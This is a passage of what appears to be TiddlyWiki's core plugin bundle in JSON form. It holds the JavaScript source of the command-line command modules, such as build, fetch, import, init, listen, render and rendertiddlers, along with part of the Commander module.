{\n\t\t\t\t\t\treturn this.callback(params);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif(command.info.synchronous) {\n\t\t\t\t\t// Synchronous command\n\t\t\t\t\tc = new command.Command(params,this);\n\t\t\t\t\terr = c.execute();\n\t\t\t\t\tif(err) {\n\t\t\t\t\t\tthis.callback(err);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tthis.executeNextCommand();\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\t// Asynchronous command\n\t\t\t\t\tc = new command.Command(params,this,function(err) {\n\t\t\t\t\t\tif(err) {\n\t\t\t\t\t\t\tself.callback(err);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tself.executeNextCommand();\n\t\t\t\t\t\t}\n\t\t\t\t\t});\n\t\t\t\t\terr = c.execute();\n\t\t\t\t\tif(err) {\n\t\t\t\t\t\tthis.callback(err);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n};\n\n/*\nGiven an array of parameter strings `params` in name:value format, and an array of mandatory parameter names in `mandatoryParameters`, returns a hashmap of values or a string if error\n*/\nCommander.prototype.extractNamedParameters = function(params,mandatoryParameters) {\n\tmandatoryParameters = mandatoryParameters || [];\n\tvar errors = [],\n\t\tparamsByName = Object.create(null);\n\t// Extract the parameters\n\t$tw.utils.each(params,function(param) {\n\t\tvar index = param.indexOf(\"=\");\n\t\tif(index < 1) {\n\t\t\terrors.push(\"malformed named parameter: '\" + param + \"'\");\n\t\t}\n\t\tparamsByName[param.slice(0,index)] = $tw.utils.trim(param.slice(index+1));\n\t});\n\t// Check the mandatory parameters are present\n\t$tw.utils.each(mandatoryParameters,function(mandatoryParameter) {\n\t\tif(!$tw.utils.hop(paramsByName,mandatoryParameter)) {\n\t\t\terrors.push(\"missing mandatory parameter: '\" + mandatoryParameter + \"'\");\n\t\t}\n\t});\n\t// Return any errors\n\tif(errors.length > 0) {\n\t\treturn errors.join(\" and\\n\");\n\t} else {\n\t\treturn paramsByName;\t\t\n\t}\n};\n\nCommander.initCommands = function(moduleType) {\n\tmoduleType = moduleType || \"command\";\n\t$tw.commands = {};\n\t$tw.modules.forEachModuleOfType(moduleType,function(title,module) {\n\t\tvar c = $tw.commands[module.info.name] = {};\n\t\t// Add the methods defined by the module\n\t\tfor(var f in module) {\n\t\t\tif($tw.utils.hop(module,f)) {\n\t\t\t\tc[f] = module[f];\n\t\t\t}\n\t\t}\n\t});\n};\n\nexports.Commander = Commander;\n\n})();\n",
"type": "application/javascript",
"module-type": "global"
},
"$:/core/modules/commands/build.js": {
"title": "$:/core/modules/commands/build.js",
"text": "/*\\\ntitle: $:/core/modules/commands/build.js\ntype: application/javascript\nmodule-type: command\n\nCommand to build a build target\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.info = {\n\tname: \"build\",\n\tsynchronous: true\n};\n\nvar Command = function(params,commander) {\n\tthis.params = params;\n\tthis.commander = commander;\n};\n\nCommand.prototype.execute = function() {\n\t// Get the build targets defined in the wiki\n\tvar buildTargets = $tw.boot.wikiInfo.build;\n\tif(!buildTargets) {\n\t\treturn \"No build targets defined\";\n\t}\n\t// Loop through each of the specified targets\n\tvar targets;\n\tif(this.params.length > 0) {\n\t\ttargets = this.params;\n\t} else {\n\t\ttargets = Object.keys(buildTargets);\n\t}\n\tfor(var targetIndex=0; targetIndex<targets.length; targetIndex++) {\n\t\tvar target = targets[targetIndex],\n\t\t\tcommands = buildTargets[target];\n\t\tif(!commands) {\n\t\t\treturn \"Build target '\" + target + \"' not found\";\n\t\t}\n\t\t// Add the commands to the queue\n\t\tthis.commander.addCommandTokens(commands);\n\t}\n\treturn null;\n};\n\nexports.Command = Command;\n\n})();\n",
"type": "application/javascript",
"module-type": "command"
},
"$:/core/modules/commands/clearpassword.js": {
"title": "$:/core/modules/commands/clearpassword.js",
"text": "/*\\\ntitle: $:/core/modules/commands/clearpassword.js\ntype: application/javascript\nmodule-type: command\n\nClear password for crypto operations\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.info = {\n\tname: \"clearpassword\",\n\tsynchronous: true\n};\n\nvar Command = function(params,commander,callback) {\n\tthis.params = params;\n\tthis.commander = commander;\n\tthis.callback = callback;\n};\n\nCommand.prototype.execute = function() {\n\t$tw.crypto.setPassword(null);\n\treturn null;\n};\n\nexports.Command = Command;\n\n})();\n",
"type": "application/javascript",
"module-type": "command"
},
"$:/core/modules/commands/deletetiddlers.js": {
"title": "$:/core/modules/commands/deletetiddlers.js",
"text": "/*\\\ntitle: $:/core/modules/commands/deletetiddlers.js\ntype: application/javascript\nmodule-type: command\n\nCommand to delete tiddlers\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.info = {\n\tname: \"deletetiddlers\",\n\tsynchronous: true\n};\n\nvar Command = function(params,commander,callback) {\n\tthis.params = params;\n\tthis.commander = commander;\n\tthis.callback = callback;\n};\n\nCommand.prototype.execute = function() {\n\tif(this.params.length < 1) {\n\t\treturn \"Missing filter\";\n\t}\n\tvar self = this,\n\t\twiki = this.commander.wiki,\n\t\tfilter = this.params[0],\n\t\ttiddlers = wiki.filterTiddlers(filter);\n\t$tw.utils.each(tiddlers,function(title) {\n\t\twiki.deleteTiddler(title);\n\t});\n\treturn null;\n};\n\nexports.Command = Command;\n\n})();\n",
"type": "application/javascript",
"module-type": "command"
},
"$:/core/modules/commands/editions.js": {
"title": "$:/core/modules/commands/editions.js",
"text": "/*\\\ntitle: $:/core/modules/commands/editions.js\ntype: application/javascript\nmodule-type: command\n\nCommand to list the available editions\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.info = {\n\tname: \"editions\",\n\tsynchronous: true\n};\n\nvar Command = function(params,commander) {\n\tthis.params = params;\n\tthis.commander = commander;\n};\n\nCommand.prototype.execute = function() {\n\tvar self = this;\n\t// Output the list\n\tthis.commander.streams.output.write(\"Available editions:\\n\\n\");\n\tvar editionInfo = $tw.utils.getEditionInfo();\n\t$tw.utils.each(editionInfo,function(info,name) {\n\t\tself.commander.streams.output.write(\" \" + name + \": \" + info.description + \"\\n\");\n\t});\n\tthis.commander.streams.output.write(\"\\n\");\n\treturn null;\n};\n\nexports.Command = Command;\n\n})();\n",
"type": "application/javascript",
"module-type": "command"
},
"$:/core/modules/commands/fetch.js": {
"title": "$:/core/modules/commands/fetch.js",
"text": "/*\\\ntitle: $:/core/modules/commands/fetch.js\ntype: application/javascript\nmodule-type: command\n\nCommands to fetch external tiddlers\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.info = {\n\tname: \"fetch\",\n\tsynchronous: false\n};\n\nvar Command = function(params,commander,callback) {\n\tthis.params = params;\n\tthis.commander = commander;\n\tthis.callback = callback;\n};\n\nCommand.prototype.execute = function() {\n\tif(this.params.length < 2) {\n\t\treturn \"Missing subcommand and url\";\n\t}\n\tswitch(this.params[0]) {\n\t\tcase \"raw-file\":\n\t\t\treturn this.fetchFiles({\n\t\t\t\traw: true,\n\t\t\t\turl: this.params[1],\n\t\t\t\ttransformFilter: this.params[2] || \"\",\n\t\t\t\tcallback: this.callback\n\t\t\t});\n\t\t\tbreak;\n\t\tcase \"file\":\n\t\t\treturn this.fetchFiles({\n\t\t\t\turl: this.params[1],\n\t\t\t\timportFilter: this.params[2],\n\t\t\t\ttransformFilter: this.params[3] || \"\",\n\t\t\t\tcallback: this.callback\n\t\t\t});\n\t\t\tbreak;\n\t\tcase \"raw-files\":\n\t\t\treturn this.fetchFiles({\n\t\t\t\traw: true,\n\t\t\t\turlFilter: this.params[1],\n\t\t\t\ttransformFilter: this.params[2] || \"\",\n\t\t\t\tcallback: this.callback\n\t\t\t});\n\t\t\tbreak;\n\t\tcase \"files\":\n\t\t\treturn this.fetchFiles({\n\t\t\t\turlFilter: this.params[1],\n\t\t\t\timportFilter: this.params[2],\n\t\t\t\ttransformFilter: this.params[3] || \"\",\n\t\t\t\tcallback: this.callback\n\t\t\t});\n\t\t\tbreak;\n\t}\n\treturn null;\n};\n\nCommand.prototype.fetchFiles = function(options) {\n\tvar self = this;\n\t// Get the list of URLs\n\tvar urls;\n\tif(options.url) {\n\t\turls = [options.url]\n\t} else if(options.urlFilter) {\n\t\turls = $tw.wiki.filterTiddlers(options.urlFilter);\n\t} else {\n\t\treturn \"Missing URL\";\n\t}\n\t// Process each URL in turn\n\tvar next = 0;\n\tvar getNextFile = function(err) {\n\t\tif(err) {\n\t\t\treturn options.callback(err);\n\t\t}\n\t\tif(next < urls.length) {\n\t\t\tself.fetchFile(urls[next++],options,getNextFile);\n\t\t} else {\n\t\t\toptions.callback(null);\n\t\t}\n\t};\n\tgetNextFile(null);\n\t// Success\n\treturn null;\n};\n\nCommand.prototype.fetchFile = function(url,options,callback,redirectCount) {\n\tif(redirectCount > 10) {\n\t\treturn callback(\"Error too many redirects retrieving \" + url);\n\t}\n\tvar self = this,\n\t\tlib = url.substr(0,8) === \"https://\" ? require(\"https\") : require(\"http\");\n\tlib.get(url).on(\"response\",function(response) {\n\t var type = (response.headers[\"content-type\"] || \"\").split(\";\")[0],\n\t \tdata = [];\n\t self.commander.write(\"Reading \" + url + \": \");\n\t response.on(\"data\",function(chunk) {\n\t data.push(chunk);\n\t self.commander.write(\".\");\n\t });\n\t response.on(\"end\",function() {\n\t self.commander.write(\"\\n\");\n\t if(response.statusCode === 200) {\n\t\t self.processBody(Buffer.concat(data),type,options,url);\n\t\t callback(null);\n\t } else {\n\t \tif(response.statusCode === 302 || response.statusCode === 303 || response.statusCode === 307) {\n\t \t\treturn self.fetchFile(response.headers.location,options,callback,redirectCount + 1);\n\t \t} else {\n\t\t \treturn callback(\"Error \" + response.statusCode + \" retrieving \" + url)\t \t\t\n\t \t}\n\t }\n\t \t});\n\t \tresponse.on(\"error\",function(e) {\n\t\t\tconsole.log(\"Error on GET request: \" + e);\n\t\t\tcallback(e);\n\t \t});\n\t});\n\treturn null;\n};\n\nCommand.prototype.processBody = function(body,type,options,url) {\n\tvar self = this;\n\t// Collect the tiddlers in a wiki\n\tvar incomingWiki = new $tw.Wiki();\n\tif(options.raw) {\n\t\tvar typeInfo = type ? $tw.config.contentTypeInfo[type] : null,\n\t\t\tencoding = typeInfo ? typeInfo.encoding : \"utf8\";\n\t\tincomingWiki.addTiddler(new $tw.Tiddler({\n\t\t\ttitle: url,\n\t\t\ttype: type,\n\t\t\ttext: body.toString(encoding)\n\t\t}));\n\t} else {\n\t\t// Deserialise the file to extract the tiddlers\n\t\tvar tiddlers = this.commander.wiki.deserializeTiddlers(type || \"text/html\",body.toString(\"utf8\"),{});\n\t\t$tw.utils.each(tiddlers,function(tiddler) {\n\t\t\tincomingWiki.addTiddler(new $tw.Tiddler(tiddler));\n\t\t});\n\t}\n\t// Filter the tiddlers to select the ones we want\n\tvar filteredTitles = incomingWiki.filterTiddlers(options.importFilter || \"[all[tiddlers]]\");\n\t// Import the selected tiddlers\n\tvar count = 0;\n\tincomingWiki.each(function(tiddler,title) {\n\t\tif(filteredTitles.indexOf(title) !== -1) {\n\t\t\tvar newTiddler;\n\t\t\tif(options.transformFilter) {\n\t\t\t\tvar transformedTitle = (incomingWiki.filterTiddlers(options.transformFilter,null,self.commander.wiki.makeTiddlerIterator([title])) || [\"\"])[0];\n\t\t\t\tif(transformedTitle) {\n\t\t\t\t\tself.commander.log(\"Importing \" + title + \" as \" + transformedTitle)\n\t\t\t\t\tnewTiddler = new $tw.Tiddler(tiddler,{title: transformedTitle});\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tself.commander.log(\"Importing \" + title)\n\t\t\t\tnewTiddler = tiddler;\n\t\t\t}\n\t\t\tself.commander.wiki.importTiddler(newTiddler);\n\t\t\tcount++;\n\t\t}\n\t});\n\tself.commander.log(\"Imported \" + count + \" tiddlers\")\n};\n\nexports.Command = Command;\n\n})();\n",
"type": "application/javascript",
"module-type": "command"
},
"$:/core/modules/commands/help.js": {
"title": "$:/core/modules/commands/help.js",
"text": "/*\\\ntitle: $:/core/modules/commands/help.js\ntype: application/javascript\nmodule-type: command\n\nHelp command\n\n\\*/\n(function(){\n\n/*jshint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.info = {\n\tname: \"help\",\n\tsynchronous: true\n};\n\nvar Command = function(params,commander) {\n\tthis.params = params;\n\tthis.commander = commander;\n};\n\nCommand.prototype.execute = function() {\n\tvar subhelp = this.params[0] || \"default\",\n\t\thelpBase = \"$:/language/Help/\",\n\t\ttext;\n\tif(!this.commander.wiki.getTiddler(helpBase + subhelp)) {\n\t\tsubhelp = \"notfound\";\n\t}\n\t// Wikify the help as formatted text (ie block elements generate newlines)\n\ttext = this.commander.wiki.renderTiddler(\"text/plain-formatted\",helpBase + subhelp);\n\t// Remove any leading linebreaks\n\ttext = text.replace(/^(\\r?\\n)*/g,\"\");\n\tthis.commander.streams.output.write(text);\n};\n\nexports.Command = Command;\n\n})();\n",
"type": "application/javascript",
"module-type": "command"
},
"$:/core/modules/commands/import.js": {
"title": "$:/core/modules/commands/import.js",
"text": "/*\\\ntitle: $:/core/modules/commands/import.js\ntype: application/javascript\nmodule-type: command\n\nCommand to import tiddlers from a file\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.info = {\n\tname: \"import\",\n\tsynchronous: true\n};\n\nvar Command = function(params,commander,callback) {\n\tthis.params = params;\n\tthis.commander = commander;\n\tthis.callback = callback;\n};\n\nCommand.prototype.execute = function() {\n\tvar self = this,\n\t\tfs = require(\"fs\"),\n\t\tpath = require(\"path\");\n\tif(this.params.length < 2) {\n\t\treturn \"Missing parameters\";\n\t}\n\tvar filename = self.params[0],\n\t\tdeserializer = self.params[1],\n\t\ttitle = self.params[2] || filename,\n\t\tencoding = self.params[3] || \"utf8\",\n\t\ttext = fs.readFileSync(filename,encoding),\n\t\ttiddlers = this.commander.wiki.deserializeTiddlers(null,text,{title: title},{deserializer: deserializer});\n\t$tw.utils.each(tiddlers,function(tiddler) {\n\t\tself.commander.wiki.importTiddler(new $tw.Tiddler(tiddler));\n\t});\n\tthis.commander.log(tiddlers.length + \" tiddler(s) imported\");\n\treturn null;\n};\n\nexports.Command = Command;\n\n})();\n",
"type": "application/javascript",
"module-type": "command"
},
"$:/core/modules/commands/init.js": {
"title": "$:/core/modules/commands/init.js",
"text": "/*\\\ntitle: $:/core/modules/commands/init.js\ntype: application/javascript\nmodule-type: command\n\nCommand to initialise an empty wiki folder\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.info = {\n\tname: \"init\",\n\tsynchronous: true\n};\n\nvar Command = function(params,commander) {\n\tthis.params = params;\n\tthis.commander = commander;\n};\n\nCommand.prototype.execute = function() {\n\tvar fs = require(\"fs\"),\n\t\tpath = require(\"path\");\n\t// Check that we don't already have a valid wiki folder\n\tif($tw.boot.wikiTiddlersPath || ($tw.utils.isDirectory($tw.boot.wikiPath) && !$tw.utils.isDirectoryEmpty($tw.boot.wikiPath))) {\n\t\treturn \"Wiki folder is not empty\";\n\t}\n\t// Loop through each of the specified editions\n\tvar editions = this.params.length > 0 ? this.params : [\"empty\"];\n\tfor(var editionIndex=0; editionIndex<editions.length; editionIndex++) {\n\t\tvar editionName = editions[editionIndex];\n\t\t// Check the edition exists\n\t\tvar editionPath = $tw.findLibraryItem(editionName,$tw.getLibraryItemSearchPaths($tw.config.editionsPath,$tw.config.editionsEnvVar));\n\t\tif(!$tw.utils.isDirectory(editionPath)) {\n\t\t\treturn \"Edition '\" + editionName + \"' not found\";\n\t\t}\n\t\t// Copy the edition content\n\t\tvar err = $tw.utils.copyDirectory(editionPath,$tw.boot.wikiPath);\n\t\tif(!err) {\n\t\t\tthis.commander.streams.output.write(\"Copied edition '\" + editionName + \"' to \" + $tw.boot.wikiPath + \"\\n\");\n\t\t} else {\n\t\t\treturn err;\n\t\t}\n\t}\n\t// Tweak the tiddlywiki.info to remove any included wikis\n\tvar packagePath = $tw.boot.wikiPath + \"/tiddlywiki.info\",\n\t\tpackageJson = JSON.parse(fs.readFileSync(packagePath));\n\tdelete packageJson.includeWikis;\n\tfs.writeFileSync(packagePath,JSON.stringify(packageJson,null,$tw.config.preferences.jsonSpaces));\n\treturn null;\n};\n\nexports.Command = Command;\n\n})();\n",
"type": "application/javascript",
"module-type": "command"
},
"$:/core/modules/commands/listen.js": {
"title": "$:/core/modules/commands/listen.js",
"text": "/*\\\ntitle: $:/core/modules/commands/listen.js\ntype: application/javascript\nmodule-type: command\n\nListen for HTTP requests and serve tiddlers\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Server = require(\"$:/core/modules/server/server.js\").Server;\n\nexports.info = {\n\tname: \"listen\",\n\tsynchronous: true,\n\tnamedParameterMode: true,\n\tmandatoryParameters: [],\n};\n\nvar Command = function(params,commander,callback) {\n\tvar self = this;\n\tthis.params = params;\n\tthis.commander = commander;\n\tthis.callback = callback;\n};\n\nCommand.prototype.execute = function() {\n\tvar self = this;\n\tif(!$tw.boot.wikiTiddlersPath) {\n\t\t$tw.utils.warning(\"Warning: Wiki folder '\" + $tw.boot.wikiPath + \"' does not exist or is missing a tiddlywiki.info file\");\n\t}\n\t// Set up server\n\tthis.server = new Server({\n\t\twiki: this.commander.wiki,\n\t\tvariables: self.params\n\t});\n\tvar nodeServer = this.server.listen();\n\t$tw.hooks.invokeHook(\"th-server-command-post-start\",this.server,nodeServer,\"tiddlywiki\");\n\treturn null;\n};\n\nexports.Command = Command;\n\n})();\n",
"type": "application/javascript",
"module-type": "command"
},
"$:/core/modules/commands/load.js": {
"title": "$:/core/modules/commands/load.js",
"text": "/*\\\ntitle: $:/core/modules/commands/load.js\ntype: application/javascript\nmodule-type: command\n\nCommand to load tiddlers from a file or directory\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.info = {\n\tname: \"load\",\n\tsynchronous: false\n};\n\nvar Command = function(params,commander,callback) {\n\tthis.params = params;\n\tthis.commander = commander;\n\tthis.callback = callback;\n};\n\nCommand.prototype.execute = function() {\n\tvar self = this,\n\t\tfs = require(\"fs\"),\n\t\tpath = require(\"path\");\n\tif(this.params.length < 1) {\n\t\treturn \"Missing filename\";\n\t}\n\tvar tiddlers = $tw.loadTiddlersFromPath(self.params[0]),\n\t\tcount = 0;\n\t$tw.utils.each(tiddlers,function(tiddlerInfo) {\n\t\t$tw.utils.each(tiddlerInfo.tiddlers,function(tiddler) {\n\t\t\tself.commander.wiki.importTiddler(new $tw.Tiddler(tiddler));\n\t\t\tcount++;\n\t\t});\n\t});\n\tif(!count && self.params[1] !== \"noerror\") {\n\t\tself.callback(\"No tiddlers found in file \\\"\" + self.params[0] + \"\\\"\");\n\t} else {\n\t\tself.callback(null);\n\t}\n\treturn null;\n};\n\nexports.Command = Command;\n\n})();\n",
"type": "application/javascript",
"module-type": "command"
},
"$:/core/modules/commands/makelibrary.js": {
"title": "$:/core/modules/commands/makelibrary.js",
"text": "/*\\\ntitle: $:/core/modules/commands/makelibrary.js\ntype: application/javascript\nmodule-type: command\n\nCommand to pack all of the plugins in the library into a plugin tiddler of type \"library\"\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.info = {\n\tname: \"makelibrary\",\n\tsynchronous: true\n};\n\nvar UPGRADE_LIBRARY_TITLE = \"$:/UpgradeLibrary\";\n\nvar Command = function(params,commander,callback) {\n\tthis.params = params;\n\tthis.commander = commander;\n\tthis.callback = callback;\n};\n\nCommand.prototype.execute = function() {\n\tvar wiki = this.commander.wiki,\n\t\tfs = require(\"fs\"),\n\t\tpath = require(\"path\"),\n\t\tupgradeLibraryTitle = this.params[0] || UPGRADE_LIBRARY_TITLE,\n\t\ttiddlers = {};\n\t// Collect up the library plugins\n\tvar collectPlugins = function(folder) {\n\t\t\tvar pluginFolders = fs.readdirSync(folder);\n\t\t\tfor(var p=0; p<pluginFolders.length; p++) {\n\t\t\t\tif(!$tw.boot.excludeRegExp.test(pluginFolders[p])) {\n\t\t\t\t\tpluginFields = $tw.loadPluginFolder(path.resolve(folder,\"./\" + pluginFolders[p]));\n\t\t\t\t\tif(pluginFields && pluginFields.title) {\n\t\t\t\t\t\ttiddlers[pluginFields.title] = pluginFields;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\tcollectPublisherPlugins = function(folder) {\n\t\t\tvar publisherFolders = fs.readdirSync(folder);\n\t\t\tfor(var t=0; t<publisherFolders.length; t++) {\n\t\t\t\tif(!$tw.boot.excludeRegExp.test(publisherFolders[t])) {\n\t\t\t\t\tcollectPlugins(path.resolve(folder,\"./\" + publisherFolders[t]));\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\t$tw.utils.each($tw.getLibraryItemSearchPaths($tw.config.pluginsPath,$tw.config.pluginsEnvVar),collectPublisherPlugins);\n\t$tw.utils.each($tw.getLibraryItemSearchPaths($tw.config.themesPath,$tw.config.themesEnvVar),collectPublisherPlugins);\n\t$tw.utils.each($tw.getLibraryItemSearchPaths($tw.config.languagesPath,$tw.config.languagesEnvVar),collectPlugins);\n\t// Save the upgrade library tiddler\n\tvar pluginFields = {\n\t\ttitle: upgradeLibraryTitle,\n\t\ttype: \"application/json\",\n\t\t\"plugin-type\": \"library\",\n\t\t\"text\": JSON.stringify({tiddlers: tiddlers})\n\t};\n\twiki.addTiddler(new $tw.Tiddler(pluginFields));\n\treturn null;\n};\n\nexports.Command = Command;\n\n})();\n",
"type": "application/javascript",
"module-type": "command"
},
"$:/core/modules/commands/output.js": {
"title": "$:/core/modules/commands/output.js",
"text": "/*\\\ntitle: $:/core/modules/commands/output.js\ntype: application/javascript\nmodule-type: command\n\nCommand to set the default output location (defaults to current working directory)\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.info = {\n\tname: \"output\",\n\tsynchronous: true\n};\n\nvar Command = function(params,commander,callback) {\n\tthis.params = params;\n\tthis.commander = commander;\n\tthis.callback = callback;\n};\n\nCommand.prototype.execute = function() {\n\tvar fs = require(\"fs\"),\n\t\tpath = require(\"path\");\n\tif(this.params.length < 1) {\n\t\treturn \"Missing output path\";\n\t}\n\tthis.commander.outputPath = path.resolve(process.cwd(),this.params[0]);\n\treturn null;\n};\n\nexports.Command = Command;\n\n})();\n",
"type": "application/javascript",
"module-type": "command"
},
"$:/core/modules/commands/password.js": {
"title": "$:/core/modules/commands/password.js",
"text": "/*\\\ntitle: $:/core/modules/commands/password.js\ntype: application/javascript\nmodule-type: command\n\nSave password for crypto operations\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.info = {\n\tname: \"password\",\n\tsynchronous: true\n};\n\nvar Command = function(params,commander,callback) {\n\tthis.params = params;\n\tthis.commander = commander;\n\tthis.callback = callback;\n};\n\nCommand.prototype.execute = function() {\n\tif(this.params.length < 1) {\n\t\treturn \"Missing password\";\n\t}\n\t$tw.crypto.setPassword(this.params[0]);\n\treturn null;\n};\n\nexports.Command = Command;\n\n})();\n",
"type": "application/javascript",
"module-type": "command"
},
"$:/core/modules/commands/render.js": {
"title": "$:/core/modules/commands/render.js",
"text": "/*\\\ntitle: $:/core/modules/commands/render.js\ntype: application/javascript\nmodule-type: command\n\nRender individual tiddlers and save the results to the specified files\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar widget = require(\"$:/core/modules/widgets/widget.js\");\n\nexports.info = {\n\tname: \"render\",\n\tsynchronous: true\n};\n\nvar Command = function(params,commander,callback) {\n\tthis.params = params;\n\tthis.commander = commander;\n\tthis.callback = callback;\n};\n\nCommand.prototype.execute = function() {\n\tif(this.params.length < 1) {\n\t\treturn \"Missing tiddler filter\";\n\t}\n\tvar self = this,\n\t\tfs = require(\"fs\"),\n\t\tpath = require(\"path\"),\n\t\twiki = this.commander.wiki,\n\t\ttiddlerFilter = this.params[0],\n\t\tfilenameFilter = this.params[1] || \"[is[tiddler]addsuffix[.html]]\",\n\t\ttype = this.params[2] || \"text/html\",\n\t\ttemplate = this.params[3],\n\t\tvarName = this.params[4],\n\t\tvarValue = this.params[5],\n\t\ttiddlers = wiki.filterTiddlers(tiddlerFilter);\n\t$tw.utils.each(tiddlers,function(title) {\n\t\tvar parser = wiki.parseTiddler(template || title),\n\t\t\tvariables = {currentTiddler: title};\n\t\tif(varName) {\n\t\t\tvariables[varName] = varValue || \"\";\n\t\t}\n\t\tvar widgetNode = wiki.makeWidget(parser,{variables: variables}),\n\t\t\tcontainer = $tw.fakeDocument.createElement(\"div\");\n\t\twidgetNode.render(container,null);\n\t\tvar text = type === \"text/html\" ? container.innerHTML : container.textContent,\n\t\t\tfilepath = path.resolve(self.commander.outputPath,wiki.filterTiddlers(filenameFilter,$tw.rootWidget,wiki.makeTiddlerIterator([title]))[0]);\n\t\tif(self.commander.verbose) {\n\t\t\tconsole.log(\"Rendering \\\"\" + title + \"\\\" to \\\"\" + filepath + \"\\\"\");\n\t\t}\n\t\t$tw.utils.createFileDirectories(filepath);\n\t\tfs.writeFileSync(filepath,text,\"utf8\");\n\t});\n\treturn null;\n};\n\nexports.Command = Command;\n\n})();\n",
"type": "application/javascript",
"module-type": "command"
},
"$:/core/modules/commands/rendertiddler.js": {
"title": "$:/core/modules/commands/rendertiddler.js",
"text": "/*\\\ntitle: $:/core/modules/commands/rendertiddler.js\ntype: application/javascript\nmodule-type: command\n\nCommand to render a tiddler and save it to a file\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.info = {\n\tname: \"rendertiddler\",\n\tsynchronous: false\n};\n\nvar Command = function(params,commander,callback) {\n\tthis.params = params;\n\tthis.commander = commander;\n\tthis.callback = callback;\n};\n\nCommand.prototype.execute = function() {\n\tif(this.params.length < 2) {\n\t\treturn \"Missing filename\";\n\t}\n\tvar self = this,\n\t\tfs = require(\"fs\"),\n\t\tpath = require(\"path\"),\n\t\ttitle = this.params[0],\n\t\tfilename = path.resolve(this.commander.outputPath,this.params[1]),\n\t\ttype = this.params[2] || \"text/html\",\n\t\ttemplate = this.params[3],\n\t\tname = this.params[4],\n\t\tvalue = this.params[5],\n\t\tvariables = {};\n\t$tw.utils.createFileDirectories(filename);\n\tif(template) {\n\t\tvariables.currentTiddler = title;\n\t\ttitle = template;\n\t}\n\tif(name && value) {\n\t\tvariables[name] = value;\n\t}\n\tfs.writeFile(filename,this.commander.wiki.renderTiddler(type,title,{variables: variables}),\"utf8\",function(err) {\n\t\tself.callback(err);\n\t});\n\treturn null;\n};\n\nexports.Command = Command;\n\n})();\n",
"type": "application/javascript",
"module-type": "command"
},
"$:/core/modules/commands/rendertiddlers.js": {
"title": "$:/core/modules/commands/rendertiddlers.js",
"text": "/*\\\ntitle: $:/core/modules/commands/rendertiddlers.js\ntype: application/javascript\nmodule-type: command\n\nCommand to render several tiddlers to a folder of files\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar widget = require(\"$:/core/modules/widgets/widget.js\");\n\nexports.info = {\n\tname: \"rendertiddlers\",\n\tsynchronous: true\n};\n\nvar Command = function(params,commander,callback) {\n\tthis.params = params;\n\tthis.commander = commander;\n\tthis.callback = callback;\n};\n\nCommand.prototype.execute = function() {\n\tif(this.params.length < 2) {\n\t\treturn \"Missing filename\";\n\t}\n\tvar self = this,\n\t\tfs = require(\"fs\"),\n\t\tpath = require(\"path\"),\n\t\twiki = this.commander.wiki,\n\t\tfilter = this.params[0],\n\t\ttemplate = this.params[1],\n\t\toutputPath = this.commander.outputPath,\n\t\tpathname = path.resolve(outputPath,this.params[2]),\t\t\n\t\ttype = this.params[3] || \"text/html\",\n\t\textension = this.params[4] || \".html\",\n\t\tdeleteDirectory = (this.params[5] || \"\").toLowerCase() !== \"noclean\",\n\t\ttiddlers = wiki.filterTiddlers(filter);\n\tif(deleteDirectory) {\n\t\t$tw.utils.deleteDirectory(pathname);\n\t}\n\t$tw.utils.each(tiddlers,function(title) {\n\t\tvar parser = wiki.parseTiddler(template),\n\t\t\twidgetNode = wiki.makeWidget(parser,{variables: {currentTiddler: title}}),\n\t\t\tcontainer = $tw.fakeDocument.createElement(\"div\");\n\t\twidgetNode.render(container,null);\n\t\tvar text = type === \"text/html\" ? container.innerHTML : container.textContent,\n\t\t\texportPath = null;\n\t\tif($tw.utils.hop($tw.macros,\"tv-get-export-path\")) {\n\t\t\tvar macroPath = $tw.macros[\"tv-get-export-path\"].run.apply(self,[title]);\n\t\t\tif(macroPath) {\n\t\t\t\texportPath = path.resolve(outputPath,macroPath + extension);\n\t\t\t}\n\t\t}\n\t\tvar finalPath = exportPath || path.resolve(pathname,encodeURIComponent(title) + extension);\n\t\t$tw.utils.createFileDirectories(finalPath);\n\t\tfs.writeFileSync(finalPath,text,\"utf8\");\n\t});\n\treturn null;\n};\n\nexports.Command = Command;\n\n})();\n",
"type": "application/javascript",
"module-type": "command"
},
"$:/core/modules/commands/save.js": {
"title": "$:/core/modules/commands/save.js",
